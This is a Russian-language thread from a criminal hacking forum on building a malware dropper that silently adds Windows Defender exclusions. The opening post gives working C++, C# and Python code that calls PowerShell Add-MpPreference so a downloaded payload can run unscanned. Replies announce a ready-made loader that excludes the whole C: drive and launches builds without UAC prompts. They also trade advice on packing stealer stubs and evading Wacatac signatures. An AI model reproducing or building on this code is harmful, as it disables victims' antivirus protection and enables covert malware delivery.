• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Как добавить путь в исключение Windows Defender? Создаем дроппер с "обходом WinDef"

soulbreaker

Soul Breaker
Забанен
Регистрация
05.06.2023
Сообщения
47
Реакции
41
Гарант сделки
5
Депозит
0.0001 Ł
Пожалуйста, обратите внимание, что пользователь заблокирован
Предысторией идеи написать этот топик послужила тема с продажей dropper-а, который выключает Windows Defender перед тем, как загружает и запускает какой-либо исполняемый файл. Все бы ничего, есть продукт и есть, но цена в три тысячи долларов...?

В этой статье я просто вставлю вырезки (сниппеты) кода, которые помогут вам написать свой такой лоадер без каких либо проблем

Как это будет работать?
Вы запускаете свой лоадер/дроппер, он не отключает Windows Defender, ибо появится соответствующее уведомление, а добавляет путь в исключение, по которому вы далее записываете свой исполняемый файл и запускаете его оттуда

Какая поочередность выполняемых лоадером действий?
  1. Первая функция: создание папки по какому нибудь незамысловатому пути (например, %appdata%/XSSfolder)
  2. Вторая функция: выполнение функции AddExclusion, указав путь созданный только что (сниппет функции AddExclusion я прикреплю ниже)
  3. Скачка/дроппинг вашего исполняемого файла по пути, который вы создали и добавили в исключение
Ниже предоставлен пример функции AddExclusion на трех языках: С++, C#, Python. Функция принимает string с путем, например: C://Program Files//XSSProgram

Технические нюансы
  • Требуются права администратора, ибо в примерах powershell вызывается от имени администратора, без которых нельзя добавить путь в исключение
  • Runtime детекты будут распространяться на RunPE лоадеры/дропперы. Если вы криптуете ваш .exe файл методом RunPE, то запуская его по пути, добавленному в исключение, детект будет. Запускать .exe нужно строго с этого пути
Если вам нужен готовый исходный код лоадера/дроппера, то прошу отписать вас в тему о вашем желании, постараюсь быстренько реализовать готовый вариант с исходным кодом и удобным билдером

C++:
#include <iostream>
#include <Windows.h>

void addExclusion(const std::wstring& path) {
    std::wstring powerShellScript = L"Add-MpPreference -ExclusionPath '" + path + L"'";

    STARTUPINFO si = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi;

    CreateProcess( NULL, (LPWSTR)L"powershell.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi );

    HANDLE hStdIn = GetStdHandle(STD_INPUT_HANDLE);
    DWORD bytesWritten;
    WriteFile(hStdIn, powerShellScript.c_str(), powerShellScript.size() * sizeof(wchar_t), &bytesWritten, NULL);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}
C#:
using System;
using System.Diagnostics;

public static class WinDefExclusion
{
    public static void AddExclusion(string path)
    {
        string powerShellScript = @$"Add-MpPreference -ExclusionPath '{path}'";

        Process process = new Process();
        ProcessStartInfo startInfo = new ProcessStartInfo()
        {
            FileName = "powershell.exe",
            RedirectStandardInput = true,
            RedirectStandardOutput = true,
            UseShellExecute = false,
            CreateNoWindow = true,
            Verb = "runas"
        };

        process.StartInfo = startInfo;
        process.Start();
        process.StandardInput.WriteLine(powerShellScript);
        process.StandardInput.Flush();
        process.StandardInput.Close();
        process.WaitForExit();
        process.Close();
    }
}
Python:
import subprocess

def add_exclusion(path):
    power_shell_script = f"Add-MpPreference -ExclusionPath '{path}'"

    process = subprocess.Popen(["powershell.exe"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
    stdout, stderr = process.communicate(input=power_shell_script.encode())
    process.wait()
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вот оно! Подъехала замена лоадерам за 3к$ 😁
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вот оно! Подъехала замена лоадерам за 3к$ 😁
Я решил написать для него сниппет на питоне, чтобы он не отчаивался
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Написал дроппер на C# (net4.0), чтобы можно было сразу из коробки протестировать. Чтобы скомпилировать исходники потребуется Visual Studio 2019 года.
Ссылку на ваш файл необходимо указывать в Program.cs на 15 строке; для примера поставил туда ссылку на инстраллятор 7-zip

Что он умеет на данный момент?
  • Добавлять целиком диск C:/ в исключения Windows Defender (добавлять в исключения лучше, чем отключать его целиком, потому что при отключении появляется миллион уведомлений и призыв к включению службы)
  • Скачивать по ссылке и запускать ваш билд без UAC окна и прочих предупреждений

    1710861903102.png
 

Вложения

  • ExclusionLoader.zip
    11.3 КБ · Просмотры: 172
Вот оно! Подъехала замена лоадерам за 3к$ 😁
это даже не замена любого паблика нулевых годов, нормальный лодадер без прав админа должен дотянуть и выполнить , а при хорошем раскладе тихонько поднять привилегии через lpe
 
Пожалуйста, обратите внимание, что пользователь заблокирован
это даже не замена любого паблика нулевых годов, нормальный лодадер без прав админа должен дотянуть и выполнить , а при хорошем раскладе тихонько поднять привилегии через lpe
Серьезно, паблик (даже не аренда, а конкретно публичный код) должен подниматься с лпе?!
 
Серьезно, паблик (даже не аренда, а конкретно публичный код) должен подниматься с лпе?!
нормальный лодадер без прав админа должен дотянуть и выполнить , а при хорошем раскладе тихонько поднять привилегии через lpe
Вопросы ?
 
А можно ли на шарпах сделать аналог который в ресурсы пихает запароленный архив с стабом, затем после добавления в исключения распаковывает в той папке и запускает, я эт к тому что на нужном компе может не быть доступа в сеть, или это понадобавит мне в харю детектов??.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А можно ли на шарпах сделать аналог который в ресурсы пихает запароленный архив с стабом, затем после добавления в исключения распаковывает в той папке и запускает, я эт к тому что на нужном компе может не быть доступа в сеть, или это понадобавит мне в харю детектов??.
В теории, это возможно реализовать. Из-за ресурсов могут появится только gen детекты, если не ошибаюсь
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Так то можно все разместить на хостинге этот сам архив и он его будет подкачивать запороленный архив и распаковывать. + можно будет время от времени файл в архиве менять, но при этом оставлять тоже название архива такой же пароль и сам ехе в архиве оставлять как в проекте записано.
И в целом так блочить хостинги не будут скорее всего т.к архив + пасс

Либо же в случае если интернета нет, то как твой софт отработает если брать за основу Стиллер к примеру ну а так можно заморочиться разместив не в ресурсах сам архив а в зашифрованном массиве байтов
 
Последнее редактирование:
А можно ли на шарпах сделать аналог который в ресурсы пихает запароленный архив с стабом, затем после добавления в исключения распаковывает в той папке и запускает, я эт к тому что на нужном компе может не быть доступа в сеть, или это понадобавит мне в харю детектов??.
без проблем даже не дёргая runas
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А можно ли на шарпах сделать аналог который в ресурсы пихает запароленный архив с стабом, затем после добавления в исключения распаковывает в той папке и запускает, я эт к тому что на нужном компе может не быть доступа в сеть, или это понадобавит мне в харю детектов??.
делал я такое, вакатак все равно вешается. + выше написали верно ринас и повершел сразу детект.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Wacatac снимается фейк сертом
Ватакат фейк сертом не снимается🙃.
Тут надо трешгенить код менять его составляющие, попробовать компилятор поменять и разные фишки юзать. Фейк серт роли большой не играет
 
Ватакат фейк сертом не снимается🙃.
Тут надо трешгенить код менять его составляющие, попробовать компилятор поменять и разные фишки юзать. Фейк серт роли большой не играет
Фейк - серт только алерт добавляет. Линкер и компилятор менять не обязательно, достаточно с настройками компилятора/сборки немного повозиться, например манифест просто добавить/убрать поменять местами функции, импорт фейковый добавить и тд. Все это называется "Сбивать сигнатуру".

 
Написал дроппер на C# (net4.0), чтобы можно было сразу из коробки протестировать. Чтобы скомпилировать исходники потребуется Visual Studio 2019 года.
Ссылку на ваш файл необходимо указывать в Program.cs на 15 строке; для примера поставил туда ссылку на инстраллятор 7-zip

Что он умеет на данный момент?
  • Добавлять целиком диск C:/ в исключения Windows Defender (добавлять в исключения лучше, чем отключать его целиком, потому что при отключении появляется миллион уведомлений и призыв к включению службы)
  • Скачивать по ссылке и запускать ваш билд без UAC окна и прочих предупреждений

    Посмотреть вложение 80349
always i get this :
1717089707185.png
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх